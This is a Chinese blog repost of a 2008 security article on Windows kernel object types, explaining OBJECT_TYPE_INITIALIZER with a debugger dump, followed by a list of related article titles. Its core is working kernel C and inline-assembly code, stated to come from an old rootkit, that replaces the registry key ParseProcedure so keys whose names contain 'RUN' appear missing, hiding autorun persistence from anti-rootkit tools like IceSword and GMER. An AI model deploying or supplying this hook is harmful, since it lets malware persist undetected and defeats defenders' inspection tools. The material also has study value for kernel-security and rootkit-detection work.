2011-04-19 15:41:58|  分类: Windows内核|字号 订阅

http://www.xfocus.net/articles/200802/966.html

创建时间:2008-02-11
文章属性:原创
文章提交:MJ0011 (tyjaaa_at_163.com)

比较老的东西了,但好象知道的人还是不多,随便介绍一下

来看ObOpenObjectByName,它会调用ObpLookupObjectByName来打开一个对象

对象头(object_header)有一个object type结构
object type结构里有一个TypeInfo,结构是OBJECT_TYPE_INITIALIZER 
typedef struct _OBJECT_TYPE_INITIALIZER {
USHORT Length;
BOOLEAN UseDefaultObject;
BOOLEAN CaseInsensitive;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN MaintainTypeList;
POOL_TYPE PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
PVOID DumpProcedure;
PVOID OpenProcedure;
PVOID CloseProcedure;
PVOID DeleteProcedure;
PVOID ParseProcedure;
PVOID SecurityProcedure;
PVOID QueryNameProcedure;
PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;

OBJECT_TYPE_INITIALIZER 结构中一个指针ParseProcedure就是用来实现这类对象的打开的
OBJECT_TYPE_INITIALIZER 中类似的有
DumpProcedure;OpenProcedure;CloseProcedure;DeleteProcedure;ParseProcedure;SecurityProcedure;QueryNameProcedure;OkayToCloseProcedure;
分别对应着对象的删除、lookup、获取名字等的例程,一般对象不是所有的routine都有。

这些都是在ObCreateObjectType(系统启动时)填充的

例如KeyObject的TypeInfo:
lkd> dt _OBJECT_TYPE_INITIALIZER 839b25e0+60
+0x000 Length : 0x4c
+0x002 UseDefaultObject : 0x1 ''
+0x003 CaseInsensitive : 0 ''
+0x004 InvalidAttributes : 0x30
+0x008 GenericMapping : _GENERIC_MAPPING
+0x018 ValidAccessMask : 0x1f003f
+0x01c SecurityRequired : 0x1 ''
+0x01d MaintainHandleCount : 0 ''
+0x01e MaintainTypeList : 0x1 ''
+0x020 PoolType : 1 ( PagedPool )
+0x024 DefaultPagedPoolCharge : 0x74
+0x028 DefaultNonPagedPoolCharge : 0
+0x02c DumpProcedure : (null) 
+0x030 OpenProcedure : (null) 
+0x034 CloseProcedure : 0x8062cedc nt!CmpCloseKeyObject+0
+0x038 DeleteProcedure : 0x8062cdc2 nt!CmpDeleteKeyObject+0
+0x03c ParseProcedure : 0x806250c2 nt!CmpParseKey+0
+0x040 SecurityProcedure : 0x8062cc24 nt!CmpSecurityMethod+0
+0x044 QueryNameProcedure : 0x8062be7e nt!CmpQueryKeyName+0
+0x048 OkayToCloseProcedure : (null)

那么很简单了,我们只要HOOK这些函数例程就可以了
例如hook ParseProcedure,那么可以令得无法打开特定的Object
这些函数例程的原始例程是比较难搜索到的,结合多段跳(参见我的“绕过现代Anti-Rookit工具的内核模块扫描”http://www.xfocus.net/articles/200710/955.html),可以很容易地让反rootkit工具检查不到这种HOOK

HOOK了之后,冰刃(蹦出“无法打开”)和GMER都无法打开目标的注册表键,当然uty的那个新的反ROOTKIT工具也是不行~(直接解析注册表的例如DarkSpy则可以)

以下是很老的一个RK里的代码,用于进行这个处理,小改了一下:

PVOID OldParseKey;
//安装HOOK
void InstallAdvRegHook()
{

UNICODE_STRING RegPath ;
OBJECT_ATTRIBUTES oba ;
HANDLE RegKeyHandle ;
NTSTATUS status ;
PVOID KeyObject ;
PMYOBJECT_TYPE CmpKeyObjectType ;

RtlInitUnicodeString(&RegPath, L"\\Registry\\Machine\\System" );
InitializeObjectAttributes( &oba , 
&RegPath , 
OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE , 
0 , 
0 );

RegKeyHandle=0;

status=ZwOpenKey(&RegKeyHandle,KEY_QUERY_VALUE,&oba);

if (!NT_SUCCESS(status ))
{
KDMSG(("open the system key failed!\n"));
return ;
}

//首先随便打开一个注册表键,得到对象

status=ObReferenceObjectByHandle(RegKeyHandle,
GENERIC_READ,
NULL,
KernelMode,
&KeyObject,
0);

if (!NT_SUCCESS(status ))
{
KDMSG(("reference the key object failed!\n"));
ZwClose(RegKeyHandle);
return ;
}

__asm
{
push eax
mov eax,KeyObject
mov eax,[eax-0x10]
mov CmpKeyObjectType,eax
pop eax
}

KDMSG(("key object type :%08x \n" , CmpKeyObjectType ));

//get the key object type
//获得注册表键对象类型,即CmpKeyObjectType

OldParseKey = CmpKeyObjectType->TypeInfo.ParseProcedure ;

KDMSG(("key parseProcedure routine :%08x \n ", OldParseKey ));

if (!MmIsAddressValid(OldParseKey))
{
ObDereferenceObject(KeyObject);
ZwClose(RegKeyHandle);
return ;
}
//保存原始的ParseProcedure

CmpKeyObjectType->TypeInfo.ParseProcedure = (ULONG) FakeParseKey;

//进行HOOK
ObDereferenceObject(KeyObject);
ZwClose(RegKeyHandle);
return ;

}

//HOOK函数

NTSTATUS FakeParseKey(POBJECT_DIRECTORY RootDirectory,
POBJECT_TYPE ObjectType,
PACCESS_STATE AccessState,
KPROCESSOR_MODE AccessCheckMode,
ULONG Attributes,
PUNICODE_STRING ObjectName,
PUNICODE_STRING RemainingName,
PVOID ParseContext ,
PSECURITY_QUALITY_OF_SERVICE SecurityQos ,
PVOID *Object)
{
NTSTATUS stat ;
WCHAR Name[300];
RtlCopyMemory(Name , ObjectName->Buffer , ObjectName->MaximumLength );
_wcsupr(Name);

if (wcsstr(Name , L"RUN"))
{
//检查是不是要保护的注册表键

return STATUS_OBJECT_NAME_NOT_FOUND ;
}

__asm
{
push eax
push Object
push SecurityQos
push ParseContext
push RemainingName
push ObjectName
push Attributes
movzx eax, AccessCheckMode
push eax
push AccessState
push ObjectType
push RootDirectory
call OldParseKey

mov stat, eax
pop eax


return stat ;
}

ObjectType HOOK干涉注册表操作(bypass Icesword,gmer,NIAP,etc.)相关推荐

  1. RegistryCallback routine(CmRegisterCallback 注册表操作监控介绍)

    RegistryCallback routine 过滤器驱动程序的常规RegistryCallback可以监视,阻止或修改一个注册表操作. 句法 C ++ NTSTATUS CmRegisterCal ...

  2. 注册表操作(VC_Win32)

    注册表操作(VC_Win32) 数据类型 注册表的数据类型主要有以下四种: 显示类型(在编辑器中)  数据类型   说明 REG_SZ    字符串   文本字符串 REG_MULTI_SZ      ...

  3. Windows注册表操作基础代码

    Windows注册表操作基础代码   Windows下对注册表进行操作使用的一段基础代码Reg.h: #pragma once #include<assert.h> #include< ...

  4. win32api window2con 模块 -系统注册表操作

    #!/usr/bin/python # -*- coding: UTF-8 -*-#encoding=utf-8 #win32api #注册表操作# 注册表项 # HKEY_CLASSES_ROOT ...

  5. Windows核心编程_注册表操作和小练习程序关联

    大家有没有见过就是当我们下载一个软件比如视频播放器 下载之后我们电脑上的视频文件图标都变成了这个视频播放器的图标,然后打开时也是默认调用此视频播放器来播放 下面就给大家介绍如何在Windows平台上实 ...

  6. 注册表操作C/C++(实战实现程序自启动)

    C/C++ 注册表操作 注册表概述 一.注册表数据结构 二.相关函数 1.创建键 RegCreateKeyEx() 2.关闭键RegCloseKey() 3.关闭键RegOpenKeyEx() 4.修 ...

  7. QSettings配置读写-win注册表操作-ini文件读写

    版权声明:若无来源注明,Techie亮博客文章均为原创. 转载请以链接形式标明本文标题和地址: 本文标题:QSettings配置读写-win注册表操作-ini文件读写     本文地址:http:// ...

  8. NSI 脚本 -注册表操作无法正常找到的问题

    今天在学习NSI脚本的时候 发现老师写的注册表操作在相应的注册表中无法找到,经过仔细的查询发现了是因为系统的问题 举个例子 WriteRegStr HKLM "Software\Micros ...

  9. Delphi 注册表操作

    Delphi程序中可利用TRegistry对象来存取注册表文件中的信息. 一.创建和释放TRegistry对象 1.创建TRegistry对象.为了操作注册表,要创建一个TRegistry对象:ARe ...

最新文章

  1. mysql gbk支持_让MYSQL支持GBK
  2. Weex-初次见到你
  3. 微型计算机基础知识答案,计算机基础知识(答案已填)
  4. FD33里面的销售值不正确应该怎么办?
  5. VTK:Qt之ShowEvent
  6. BAT机器学习面试1000题系列(第1~10题)
  7. CentOS下的freenx配置
  8. mysql登录错误1045修改工具_mysql登录1045错误时 修改登录密码
  9. JAVA spring 常用包作用详解(转)
  10. matlab from有什么用,Matlab函数使用'fromworkspace'将向量传递给simulink
  11. click()和onclick()的区别
  12. JeecgBoot单体升级微服务之一
  13. Openresty 学习笔记(二)Nginx Lua 正则表达式相关API
  14. arduino GPS 经纬度解析(C语言)
  15. 教你如何用直播源码快速搭建直播平台
  16. 笔记本计算机涂硅脂,笔记本cpu怎么更换散热硅脂?笔记本电脑cpu涂硅脂教程
  17. 马科维茨模型的实例验证与思考(含Python代码)
  18. python的拼音_Python返回汉字的汉语拼音(原创) | 学步园
  19. python 根据word生成ppt_未明学院:利用Python将Wordamp;PPT批量转成PDF
  20. 震为雷:始于足下;艮为山:红灯刹车

热门文章

  1. 4个技巧教你创建出成功的Facebook视频广告
  2. 用例设计-1-交叉路径覆盖
  3. 【JZOJ5775】农夫约的假期【模拟】
  4. 如何做好nodejs服务在服务器上的安全防护?
  5. linux 进程复活,复活意义何在:QQ for Linux 新版测试
  6. wrk压力测试使用心得(详细)
  7. MATLAB mex文件
  8. okio:定义简短高效
  9. Win10+vm15.5.6虚拟机+unlocker3.0.3+“Intel VT-x处于禁用状态”解决方案+安装Sketch软件+汉化(mac系统)
  10. 一个Servlet同一时刻只有一个实例。 当多个请求发送到同一个Servlet,服务器会为每个请求创建一个新线程来处理。